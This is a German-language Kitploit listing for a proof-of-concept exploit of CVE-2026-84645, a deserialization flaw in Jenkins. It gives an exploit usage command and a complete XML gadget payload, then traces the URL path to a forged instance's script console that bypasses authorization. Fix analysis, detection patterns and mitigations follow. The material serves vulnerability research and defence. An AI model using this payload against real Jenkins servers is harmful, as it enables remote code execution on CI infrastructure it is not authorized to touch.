Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/mhtsec/cve-2026-84645
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed Teaming
GitHubmhtsec/cve-2026-84645

CVE-2026-84645

Jenkins PersistenceRoot-Deserialisierung RCE (SECURITY-3972) — PoC & Analyse. Erfordert Item/Configure; betrifft wöchentlich <= 2.579 / LTS <= 2.568.2

Repository anzeigen
vor 1 TagNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-84645 — Jenkins PersistenceRoot-Deserialisierung RCE (SECURITY-3972)

PoC für die Jenkins-Deserialisierungsschwachstelle, die am 02.09.2026 behoben wurde (Advisory). Ein Konto mit niedrigen Rechten, das Item/Configure für einen beliebigen einzelnen Job besitzt, kann dies in die Ausführung beliebigen Codes als Jenkins-OS-Benutzer umwandeln.

BetroffenJenkins weekly ≤ 2.579, LTS ≤ 2.568.2
Behobenweekly 2.580, LTS 2.568.3
Voraussetzungauthentifiziert, Item/Configure für ≥ 1 Job
AuswirkungRCE als Jenkins-Dienstkonto
CVSS8.8 (Hoch)

Nur für autorisierte Sicherheitsforschung an verwundbaren Testinstanzen.

Verwendung

root@kitploit:~
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id

Das Skript prüft, ob das Konto keine Skriptberechtigung besitzt (erwartet 403), übermittelt die manipulierte config.xml und leitet dann über den injizierten Objektgraphen zu einer Script Console weiter, deren ACL vom Angreifer kontrolliert wird.

Technische Analyse

Grundursache

Zwei seit langem bestehende Verhaltensweisen des Jenkins-XStream-Stacks (hudson.util.XStream2 / RobustReflectionConverter) wirken zusammen:

  1. PersistenceRoot-Typen konnten als verschachtelte Feldwerte deserialisiert werden. JEP-200 beschränkt, welche Klassen deserialisiert werden dürfen, aber nicht, wo im Objektgraphen. Jedes Feld, das als (oder zuweisbar zu) ein PersistenceRoot-Subtyp typisiert ist, wurde wie ein normales Objekt unmarshalled. Da XStream über Unsafe.allocateInstance instanziiert (kein Konstruktor), konnte ein Angreifer ein zweites hudson.model.Hudson-Singleton mit beliebigen Feldwerten fälschen — einschließlich authorizationStrategy.
  2. Transiente Felder wurden ebenfalls unmarshalled (das Kompatibilitätsverhalten „Unmarshal in transiente Felder wie XStream 1.1.3"). Die Objektreferenzen, die für das Stapler-Request-Routing erforderlich sind (FingerprintAction.build, Run.project, AbstractItem.parent), sind transient, sodass injizierte Objekte über HTTP erreichbar werden — die Formulierung „subsequently handle HTTP requests via Stapler" des Advisories.

Gadget-Kette

POST /job/<job>/config.xml (benötigt nur Item/Configure) injiziert in die <actions> des Jobs:

root@kitploit:~
<actions>
  <hudson.tasks.Fingerprinter_-FingerprintAction>
    <build class="hudson.model.FreeStyleBuild">        <!-- PersistenceRoot verschachtelt (Fehler 1); transientes Feld (Fehler 2) -->
      <project class="hudson.model.FreeStyleProject">  <!-- Run.project: protected final transient -->
        <parent class="hudson.model.Hudson">            <!-- AbstractItem.parent: transient; gefälschtes 2. Jenkins -->
          <authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
        </parent>
        <name>...</name>
        <properties/>                                  <!-- vermeidet NPE in Job.getOverrides() -->
      </project>
    </build>
    <record/>
  </hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>

Stapler leitet die Anfrage dann in den gefälschten Graphen:

URL-SegmentLöst auf zuCodepfad
/job/<job>/fingerprintsinjizierte FingerprintActionurlName == "fingerprints" + Actionable.getDynamic()
/rungefälschtes FreeStyleBuildFingerprintAction.getRun() liest transientes build
/parentgefälschtes FreeStyleProjectRun.getParent() liest final transient project
/parentgefälschtes hudson.model.HudsonAbstractItem.getParent() liest transientes parent
/scriptTextScript Console der gefälschten InstanzJenkins.doScriptText() → _doScript(..., getACL())

Die Autorisierungsumgehung: doScriptText prüft ADMINISTER gegen die Instanz, die die Anfrage empfangen hat, d. h. getACL() des gefälschten Hudson, das aus seinem eigenen authorizationStrategy-Feld abgeleitet wird — AuthorizationStrategy$Unsecured gewährt alles. Die Autorisierungsstrategie des echten Controllers wird nie einbezogen. Da während der Deserialisierung kein Konstruktor ausgeführt wird, greifen Feldinitialisierer nicht; das Payload muss authorizationStrategy (und properties) explizit setzen.

Fix-Analyse (2.580)

Diffing jenkins-2.579 → jenkins-2.580:

  • RobustReflectionConverter.doUnmarshal weigert sich nun, einen PersistenceRoot-Subtyp in ein verschachteltes Feld zu unmarshallen (CriticalXStreamException: „PersistenceRoot objects are document roots and must not appear as nested field values"), und erlaubt nur drei sichere Formen: XStream-reference=-Rückverweise, nicht-persistente resolves-to-Replacer (Run$Replacer, User$Replacer, …) und skalare Referenzen mit Einzelwert-Konvertern.
  • Neue @XStreamNotDeserializable- / @XStreamDeserializable-Annotationen plus TRANSIENT_FIELD_STRICT_MODE verschärfen das Unmarshalling transienter Felder pro Feld.
  • Jenkins.readResolve() weigert sich nun, ein zweites Jenkins-Singleton zu deserialisieren, und erhielt einen writeReplace()-Replacer.
  • Regressionstests: test/src/test/java/jenkins/security/Security3972Test.java, Security3972QueueRestartTest.java.

Hinweise

  • Die Injektion erfolgt im Speicher (transient): Ein Neustart von Jenkins entfernt sie, aber sie kann nach Belieben erneut übermittelt werden.
  • Erkennung: unerwartete POST /job/*/config.xml-Payloads mit verschachteltem Fingerprinter_-FingerprintAction / hudson.model.Hudson oder Anfragen an /job/*/fingerprints/run/parent/parent/scriptText.

Gegenmaßnahmen

  • Upgrade auf weekly ≥ 2.580 / LTS ≥ 2.568.3.
  • Item/Configure in der Autorisierungsmatrix auf vertrauenswürdige Administratoren beschränken.
  • Zugriffsprotokolle auf die obigen Muster prüfen; verdächtige Instanzen neu starten und Job-config.xml-Dateien auf Verunreinigung untersuchen.

Referenzen

  • https://www.jenkins.io/security/advisory/2026-09-02/#SECURITY-3972
  • https://nvd.nist.gov/vuln/detail/CVE-2026-84645
Tool herunterladen